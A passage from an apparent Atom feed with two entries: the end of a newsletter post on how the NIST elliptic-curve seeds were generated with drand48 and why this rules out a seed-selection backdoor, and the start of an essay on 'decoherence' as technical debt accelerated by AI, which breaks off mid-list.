&lt;p&gt;The lore was that Dr. Jerry Solinas, who passed away in early 2023, generated them in 1997 by hashing some English sentences that he later forgot. You can read more in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://saweis.net/posts/nist-curve-seed-origins.html&quot;&gt;this article by Steve Weis&lt;/a&gt; or in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/seeds-bounty/&quot;&gt;the original bounty announcement&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Turns out memory can play tricks on everyone: we now know they were instead generated with the POSIX-standard &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://man.archlinux.org/man/drand48.3.en&quot;&gt;drand48&lt;/a&gt; random number generator.&lt;/p&gt;
&lt;p&gt;The algorithm is as simple as passing the then-current UNIX timestamp to &lt;code&gt;srand48()&lt;/code&gt; and then producing one byte at a time with drand48. Each sequence of 20 bytes is tried as a seed following ANSI X9.62 and rejected if the resulting curve is not valid. Some timestamps are used to generate multiple curves, by continuing to try seeds after accepting the first one. I &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/FiloSottile/mostly-harmless/blob/main/seeds/seeds.go&quot;&gt;reimplemented the algorithm in Go&lt;/a&gt; to verify the claim. Read more in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.anthropic.com/research/ecdsa-curve-origins&quot;&gt;Anthropic’s writeup&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are two additional undocumented criteria beyond the ANSI X9.62 ones, one fairly clear and one that still escapes us.&lt;/p&gt;
&lt;p&gt;If the bit length of the order &lt;em&gt;n&lt;/em&gt; of the resulting curve is more than the bit length of the base field &lt;em&gt;p&lt;/em&gt; of the curve, the seed is rejected. (The condition is not the stricter &lt;em&gt;n&lt;/em&gt; &amp;lt; &lt;em&gt;p&lt;/em&gt;, because prime239v2 has &lt;em&gt;p&lt;/em&gt; &amp;lt; &lt;em&gt;n&lt;/em&gt; &amp;lt; 2²³⁹.)&lt;/p&gt;
&lt;p&gt;This leaves us with roughly twice as many valid seeds as were published. We explored a number of explanations for this last bit, and found no good fit. Maybe the same RNG was used to validate seeds, consuming RNG output and skipping some potential candidates, although the “gaps” are not regular. Maybe there was just a bug in one of the algorithms that returned the wrong result half the time; these calculations, which we can now do with off-the-shelf software in minutes, were still very much state-of-the-art in 1997.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;srand48(863711343) [1997-05-15 15:49:03 +0000 UTC]:
  accepted   36th seed 25e5[...]: not published
  accepted 1562nd seed d09b[...]: not published
  accepted 2185th seed e43b[...]: prime239v1
  accepted 2320th seed e8b4[...]: prime239v2
  accepted 2491st seed 1256[...]: not published
  accepted 2682nd seed d2c1[...]: not published
  accepted 2863rd seed 3a70[...]: not published
  accepted 3048th seed 7d73[...]: prime239v3
srand48(863966734) [1997-05-18 14:45:34 +0000 UTC]:
  accepted  139th seed 3045[...]: P-192 a.k.a. prime192v1
  accepted 2198th seed 692d[...]: not published
  accepted 5228th seed c469[...]: prime192v3
  accepted 5405th seed 3ad1[...]: not published
  accepted 6013th seed 31a9[...]: prime192v2
srand48(871002724) [1997-08-08 01:12:04 +0000 UTC]:
  accepted 1136th seed d09e[...]: P-521
srand48(871696354) [1997-08-16 01:52:34 +0000 UTC]:
  accepted  876th seed 50c7[...]: not published
  accepted 1842nd seed c49d[...]: P-256 a.k.a. prime256v1
srand48(872952608) [1997-08-30 14:50:08 +0000 UTC]:
  accepted 2688th seed a335[...]: P-384
srand48(891607927) [1998-04-03 12:52:07 +0000 UTC]:
  accepted  777th seed d007[...]: not published
  accepted 1485th seed 18cf[...]: not published
  accepted 5736th seed 3c17[...]: not published
  accepted 7026th seed bd71[...]: P-224
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What does this mean for the security of elliptic curve cryptography based on the NIST curves? Well, even before this discovery there were no serious concerns among practitioners. In Section 3.1 of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://eprint.iacr.org/2015/1018&quot;&gt;their 2015 paper “A riddle wrapped in an enigma,”&lt;/a&gt; Koblitz and Menezes make a convincing argument that it’s implausible that the NSA could have selected a seed to exploit a weakness that escaped more than 15 (now 25) years of cryptanalysis.&lt;/p&gt;
&lt;p&gt;However, as reported in a later version of that paper, Daniel Bernstein and Tanja Lange described to Koblitz and Menezes in 2017 a technique that could have exploited 70 bits of freedom in selection of the seed to target a hypothetical class of 2⁶¹ weak prime-order curves. (Bernstein is the author of a competing elliptic curve design, Curve25519.) This contributed to enduring conspiracy theories, which had significant appeal among the non-specialist public (although many have since moved on to other, adjacent, conspiracy theories). All this speculation harmed confidence in robust cryptographic systems and was part of my motivation for the bounty.&lt;/p&gt;
&lt;p&gt;This week’s findings completely rule out the technique described by Bernstein and Lange. Even if the NSA had been free to pick any timestamp in 1997–98 and any of the first 16 prime-order candidates (which generously accounts for the unexplained rejections), they would have had barely 30 bits of freedom. Not enough to intentionally target a hypothetical small class of weak curves, not enough to embed any kind of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/NOBUS&quot;&gt;NOBUS&lt;/a&gt; backdoor.&lt;/p&gt;
&lt;p&gt;Along with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rfc-editor.org/rfc/rfc6979&quot;&gt;deterministic&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.ietf.org/archive/id/draft-irtf-cfrg-det-sigs-with-noise-05.html&quot;&gt;hedged&lt;/a&gt; ECDSA signing algorithms, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/mit-plv/fiat-crypto&quot;&gt;formally verified field implementations&lt;/a&gt;, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://eprint.iacr.org/2015/1060&quot;&gt;the 2015 complete addition formulas by Renes, Costello, and Batina&lt;/a&gt;, this nicely completes the “rehabilitation arc” of NIST elliptic curve cryptography, which I would now personally recommend over Curve25519/Ed25519/X25519.&lt;/p&gt;
&lt;p&gt;Just in time for them to be retired in favor of post-quantum signatures.&lt;/p&gt;
&lt;p&gt;P.S. The Anthropic team also figured out how the seeds of the NIST B-curves (the ones over binary fields) were generated, but no one uses those, so who cares.&lt;/p&gt;
&lt;h2&gt;The picture&lt;/h2&gt;
&lt;p&gt;In a FamilyMart in Taiwan I found this delightful dice set. A full roll carries log₂(6²⁰) ≈ 51.7 bits of entropy. Rolling them twice can make a pretty robust cryptographic key!&lt;/p&gt;
&lt;p&gt;I thought it would be funny to label them as Geomys FIPS 140-3 Entropy Sources (which of course they are not, though we do have one of those) and hand them out as swag. However, I found no way to order them online, so I simply visited over a dozen FamilyMarts and brought home 50 packs.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://assets.buttondown.email/images/fc811646-65b3-4c41-9a2c-ff68584f75b5.jpeg?w=960&amp;amp;fit=max&quot; alt=&quot;A set of 20 small dice in the evening light. They are white with red and black etchings. A small clear plastic box is next to them.&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Speaking of swag, I am 100% making stickers with the &lt;code&gt;srand48()&lt;/code&gt; seeds, and t-shirts for the Anthropic team and the contributors to the bounty. I accept suggestions for other seed-based swag. If you want to catch some, follow me on Bluesky at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bsky.app/profile/filippo.abyssdomain.expert&quot;&gt;@filippo.abyssdomain.expert&lt;/a&gt; or on Mastodon at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://abyssdomain.expert/@filippo&quot;&gt;@filippo@abyssdomain.expert&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:6cdd2234a8b4a43383e969296733ad4e45e7e8f6</id>
    <title type="text">The Decoherence Trap: When AI slop drowns out the signal in an endless sea of noise</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-16-the-decoherence-trap-when-ai-slop-drowns-out-the-signal-in/"/>
    <link rel="via" type="text/html" href="https://maevyn.codes/decoherence"/>
    <published>2026-10-16T16:36:29+00:00</published>
    <updated>2026-10-16T16:36:29+00:00</updated>
    <author>
      <name>maevyn.codes by maevyn</name>
    </author>
    <category term="news"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;This essay introduces the concept of &lt;strong&gt;decoherence&lt;/strong&gt;: the accumulation of locally valid but mutually incompatible or redundant models within a system, such that the cost of change is dominated by translating among those models and preventing unintended side-effects.&lt;/p&gt;
&lt;p&gt;In other words, it&#39;s &lt;strong&gt;what happens when slop drowns out the signal in an endless sea of noise.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Decoherence grows relative to the rate of change of a system, and it increases faster the more decoherent a system is, resulting in runaway exponential growth. It is not a new phenomenon, and humans have always countered it through carefully finding ways to do more with less, unifying disparate patterns and models into a cohesive whole. However, the widespread use of AI is currently producing it at a rate that is unsustainable.&lt;/p&gt;
&lt;p&gt;The good news is that this rules out the specter of runaway recursive self-improvement, the intelligence explosion that goes parabolic before anyone can react, as decoherence both prevents AI from improving in a bubble &lt;em&gt;and&lt;/em&gt; limits the rate at which it can improve outside of it. The bad news is that we are barreling toward a different kind of disaster: &lt;strong&gt;Decoherence Collapse.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Imagine a building, let&#39;s say a small office tower. When this building was built, they used a type of pipe that will degrade over time and eventually need to be replaced. This is standard &lt;em&gt;&lt;strong&gt;infrastructural debt&lt;/strong&gt;&lt;/em&gt;; basic wear and tear, as they say.&lt;/p&gt;
&lt;p&gt;Then, let&#39;s say that when it comes time to replace the pipes, you need to change them over to a new standard. This could be because of new building code requirements, because the old pipes simply aren&#39;t made anymore, or because the new pipes are much better and easier to maintain. This is standard &lt;em&gt;&lt;strong&gt;technical advancement debt&lt;/strong&gt;&lt;/em&gt;, the need to upgrade and transition due to the forward progress of technology over time.&lt;/p&gt;
&lt;p&gt;There is a third form of debt that can arise based on &lt;em&gt;how&lt;/em&gt; the transition from old pipes to new pipes is done. Consider the following options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Shut down the building and replace all of the pipes at once.&lt;/strong&gt; This is a very disruptive and expensive method, since you can&#39;t use the building while the process is underway and you have to pay for the replacement up front. But the process is &lt;em&gt;complete&lt;/em&gt; by the end of it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shut down each floor, one at a time, and replace the pipes on that floor.&lt;/strong&gt; This is &lt;em&gt;less&lt;/em&gt; disruptive overall, but somewhat &lt;em&gt;more&lt;/em&gt; expensive because you still have to pay up front, and you have to pay a &lt;em&gt;premium&lt;/em&gt; for the extra labor required to keep things running smoothly as the work goes on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Replace the pipes as needed, when they begin to fail.&lt;/strong&gt; This is the least disruptive strategy, and it allows you to amortize the cost of replacing all of the pipes over time, with one small repair after another.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For most people, option 3 is very appealing. It allows them to keep things running smoothly and to spread out the cost of maintenance. And if we can just make like the &lt;em&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Ship_of_Theseus&quot;&gt;Ship of Theseus&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-1&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/em&gt; and replace the pipes one at a time, why shouldn&#39;t we?&lt;/p&gt;
&lt;p&gt;Well, for one thing, it creates &lt;em&gt;&lt;strong&gt;decoherence&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;And decoherence is, by far, the &lt;em&gt;worst&lt;/em&gt; form of tech debt.&lt;/p&gt;
&lt;h2&gt;Evolution&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;Ship of Theseus&lt;/em&gt; actually gives us a good lens for understanding the true scope of decoherence. We know how to build ships made of wood, and we know how to build ships made of steel. You can repair a ship one piece at a time with the same material, as the original thought experiment goes, and the ship remains functional, with all of the original designs and structures that went into it intact.&lt;/p&gt;
&lt;p&gt;But do we know how to build every iteration of a ship &lt;em&gt;in between&lt;/em&gt; wood and steel? Could you, say, slowly replace every piece of a man-of-war and incrementally turn it into a modern destroyer? And have it functional (for some definition of functional) at every step in the process?&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/theseus-1.dark.svg&quot; alt=&quot;Ship of Theseus, stage 1 of 4&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/theseus-1.light.svg&quot; alt=&quot;Ship of Theseus, stage 1 of 4&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/theseus-2.dark.svg&quot; alt=&quot;Ship of Theseus, stage 2 of 4&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/theseus-2.light.svg&quot; alt=&quot;Ship of Theseus, stage 2 of 4&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/theseus-3.dark.svg&quot; alt=&quot;Ship of Theseus, stage 3 of 4&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/theseus-3.light.svg&quot; alt=&quot;Ship of Theseus, stage 3 of 4&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/theseus-4.dark.svg&quot; alt=&quot;Ship of Theseus, stage 4 of 4&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/theseus-4.light.svg&quot; alt=&quot;Ship of Theseus, stage 4 of 4&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;4&lt;/p&gt;
&lt;p&gt;It&#39;s not that the answer is an absolute &amp;quot;no&amp;quot;. If we are creative enough, if we had the best minds working on it, then I&#39;m sure there would be &lt;em&gt;some&lt;/em&gt; path to doing this. But it would require &lt;em&gt;ingenuity&lt;/em&gt; and &lt;em&gt;skill&lt;/em&gt; and &lt;em&gt;craftsmanship&lt;/em&gt;. It would require attention to detail. And, crucially, you would really want to &lt;em&gt;complete&lt;/em&gt; the process, because the half-man-of-war, half-destroyer vessel is likely not going to be very good in modern combat.&lt;/p&gt;
&lt;p&gt;Returning to our plumbing example, we can see how the same strategy plays out regularly in the world of construction. Every time a pipe breaks, the plumber is called, walls are opened, the repair is hand-crafted for that specific area, and then everything is closed back up. If you&#39;re lucky, the plumber will leave detailed notes, and if you&#39;re not, then years later some poor sod is going to open that wall back up and say to themselves, &amp;quot;What the &lt;em&gt;hell&lt;/em&gt; is going on here?&amp;quot;&lt;/p&gt;
&lt;p&gt;Now, multiply that process over time as we slowly replace the pipes in our building, and the end result is a patchwork of old and new pipe that has much more &lt;em&gt;complexity&lt;/em&gt; than either system on its own. Every joint, every hand-crafted patch, is its own little bundle of unique forces and properties that are understudied, and thus requires an expert in &lt;em&gt;both&lt;/em&gt; systems to fully understand and work with.&lt;/p&gt;
&lt;p&gt;On the surface, this is fine. The pipes work, why does it matter &lt;em&gt;how&lt;/em&gt; they work? As long as it&#39;s a good patch, who cares?&lt;/p&gt;
&lt;p&gt;Well, what happens if we, say, want to build an annex?&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the purposes of this thought experiment, we&#39;ll say that the water for the annex needs to be routed through at least part of our existing building, using the existing pipes. And, crucially, we need to increase the &lt;em&gt;overall water pressure&lt;/em&gt; in the system.&lt;/p&gt;
&lt;p&gt;Now, the question is: &lt;strong&gt;Is it safe to increase the pressure?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If we had all type A or all type B pipes, even ones that had been patched and repaired over time, then this would be a straightforward question. Both systems are well understood, both have tools and processes for calculating their capacity, and people run these calculations all of the time.&lt;/p&gt;
&lt;p&gt;But, if we have an unknown mixture of both systems, suddenly we have to do a lot more analysis to answer that question. Every patch could change the answer, even ones at the other end of the system, because they&#39;re all tied together.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/pipe-patchwork.dark.svg&quot; alt=&quot;A small office building drawn faintly, with its plumbing inside: a main from the street feeds a network of pipes that widens floor by floor, and new runs reach out toward an annex next door. Dots mark the patched joints. Most hold; two, on different floors, fail.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/pipe-patchwork.light.svg&quot; alt=&quot;A small office building drawn faintly, with its plumbing inside: a main from the street feeds a network of pipes that widens floor by floor, and new runs reach out toward an annex next door. Dots mark the patched joints. Most hold; two, on different floors, fail.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;And this is where the true complexity of decoherence becomes clear. When we try to make changes to decoherent systems, it requires far more expertise and skill than working with either system alone. The engineer working on the system needs to trace and understand it much more thoroughly and carefully, because their changes may have unintended consequences. And yes, I count plumbers as engineers, at least as much as software devs. Have you seen them think through pressure forces in drain pipes in real time? It&#39;s remarkable.&lt;/p&gt;
&lt;p&gt;That is no small task, and it is best if it&#39;s not rushed. But for the outside observer, without an understanding of the depth of the problem, this can be frustrating. Normally this part is easy. Why is it taking so long this time?&lt;/p&gt;
&lt;p&gt;In this situation, management will oftentimes apply pressure to get things done faster. When pressure is applied, the expert doesn&#39;t do the full analysis faster; they just stop earlier and do something they&#39;re &lt;em&gt;pretty sure&lt;/em&gt; will work. A sloppy join, an unusual part, maybe some extra safeguards, just in case.&lt;/p&gt;
&lt;p&gt;Not completing the task thoroughly, however, creates a knock-on effect: this particular change has lower quality, and it makes the system more fragile and complex. This means the next change will take even &lt;em&gt;more&lt;/em&gt; thought and care, and if the pressure on the engineer is the same, then they will do an even &lt;em&gt;worse&lt;/em&gt; job.&lt;/p&gt;
&lt;p&gt;That is a pretty messy situation as it stands, and you can already see a sort of exponential growth of complexity taking place here. But wait, it gets worse! Let&#39;s consider the next level of decoherence: Starting a &lt;em&gt;second&lt;/em&gt; transition before finishing the first.&lt;/p&gt;
&lt;h2&gt;The Maze&lt;/h2&gt;
&lt;p&gt;The tricky part about software, as compared to a physical building or other types of real-world systems, is that it&#39;s all sort of invisible.&lt;/p&gt;
&lt;p&gt;Coders walk through the halls of codebases every day. We navigate the labyrinth successfully so often that we become familiar with every corner and every turn, and when our walks become longer, with more corridors and dead ends and trap doors, we &lt;em&gt;feel&lt;/em&gt; it much more immediately and intuitively.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/maze-1-section.dark.svg&quot; alt=&quot;A maze extending past every edge, with a dot stepping through it&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/maze-1-section.light.svg&quot; alt=&quot;A maze extending past every edge, with a dot stepping through it&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;But this is difficult to relate to people who can&#39;t even see the maze, who don&#39;t walk it with you every day. And when it comes time to clean up some of your debt, to make the maze shorter and less winding, your proposals are hard to sell up the chain, even to those who used to walk mazes a long time ago. In the end, none of them know &lt;em&gt;your&lt;/em&gt; maze. They don&#39;t know the trials you face each and every time you enter it.&lt;/p&gt;
&lt;p&gt;By comparison, our plumber friend in the real world can show the building owner the absurdity of their pipes much more &lt;em&gt;directly&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/plumbing-fail.JPG&quot; alt=&quot;A tangled patchwork of plumbing pipes&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;figcaption&gt;Courtesy of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.reddit.com/r/Plumbing/comments/1uvusc3/being_picky_with_the_plumbing_work_in_my_new_house/&quot;&gt;r/plumbing&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-2&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;When we start to mix more than two systems together, with multiple patches over time in a haphazard way, the complexity of the maze &lt;em&gt;explodes&lt;/em&gt;. It is now combinatorial: you need to think of A -&amp;gt; B, A -&amp;gt; C, B -&amp;gt; C, A -&amp;gt; B -&amp;gt; C, C -&amp;gt; B -&amp;gt; A, and so on.&lt;/p&gt;
&lt;p&gt;We can of course insulate engineers from this somewhat. We can come up with best practices, we can use tools and frameworks to isolate part of the system from another part (for instance, by using a pressure-limiting valve in our pipes). Inevitably, though, it gets to a point where even the best engineers, the smartest people, can no longer safely navigate the maze.&lt;/p&gt;
&lt;p&gt;They may be able to do it 80 or 90% of the time, but they will eventually take a wrong turn&lt;/p&gt;
&lt;p&gt;forget to leave a trail of string and find themselves stuck&lt;/p&gt;
&lt;p&gt;within the immensity of the unending growth that outpaces their every step into eternity.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/maze-entrance.dark.svg&quot; alt=&quot;A lone figure with a lantern at the entrance of a vast maze&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/maze-entrance.light.svg&quot; alt=&quot;A lone figure with a lantern at the entrance of a vast maze&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;This is the Decoherence Trap. The maze grows onward and onward until it swallows you whole and leaves you lost in the dark. Until it becomes so massive that it would take lifetimes to navigate.&lt;/p&gt;
&lt;p&gt;Well, lifetimes for humans anyway. But what about AI?&lt;/p&gt;
&lt;h2&gt;Simulation&lt;/h2&gt;
&lt;p&gt;Humans get tired and reach physical limits, but autonomous agent swarms can keep going around the clock, collectively and tirelessly mapping the maze like the good little robots they are. If scale is the problem, then shouldn&#39;t we just be able to throw more compute at it and call it a day?&lt;/p&gt;
&lt;p&gt;Well, that depends on the nature of the complexity we are facing. Does it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Grow linearly with the size of the codebase as a whole, OR&lt;/li&gt;
&lt;li&gt;Grow &lt;em&gt;exponentially&lt;/em&gt;, with each change increasing the likelihood that the &lt;em&gt;next&lt;/em&gt; change will add even more complexity.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If it&#39;s the former, then yes, as the size of the problem grows we can just keep adding more agents and more data centers and working the problem at about the same pace. But if it&#39;s the &lt;em&gt;latter&lt;/em&gt;, then adding more capacity will only get us the ability to push a bit further before the size of the maze threatens to consume all of the compute on Earth (and in space, should &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Space-based_data_center&quot;&gt;SpaceX&#39;s plans&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-3&quot;&gt;[3]&lt;/a&gt;&lt;/sup&gt; work out).&lt;/p&gt;
&lt;p&gt;In my experience, it is the latter. When a plumber opens up a wall and sees a mess, it isn&#39;t clear what&#39;s going on. They may choose to use pipe A, they may choose to use pipe B, or they may choose to add a new type of pipe entirely in their confusion. The same is even more true for code.&lt;/p&gt;
&lt;p&gt;We can see this play out in a simple simulation below. Here, we have a graph that represents a codebase (or some other complex system), where:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nodes&lt;/strong&gt; represent different components within the system&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Node Size&lt;/strong&gt; represents the size of the to component&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Node Color&lt;/strong&gt; represents the dominant paradigm that the component belongs to. You can think of this as the &amp;quot;kind&amp;quot; of component - different materials of pipes, different constructs in code, different types of systems, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edges&lt;/strong&gt; represent connections between those components&lt;/p&gt;
&lt;p&gt;Loading precomputed timeline…&lt;/p&gt;
&lt;p&gt;This is a recording of a few runs. If you want to play with the full simulation yourself, changing the settings and watching what happens, you can find it &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence/sim&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;An actor, representing a developer, implements a &amp;quot;feature&amp;quot; by walking some random subsection of the graph and then mutating it. The actor&#39;s base behavior is shaped by its &lt;em&gt;coherence factor&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
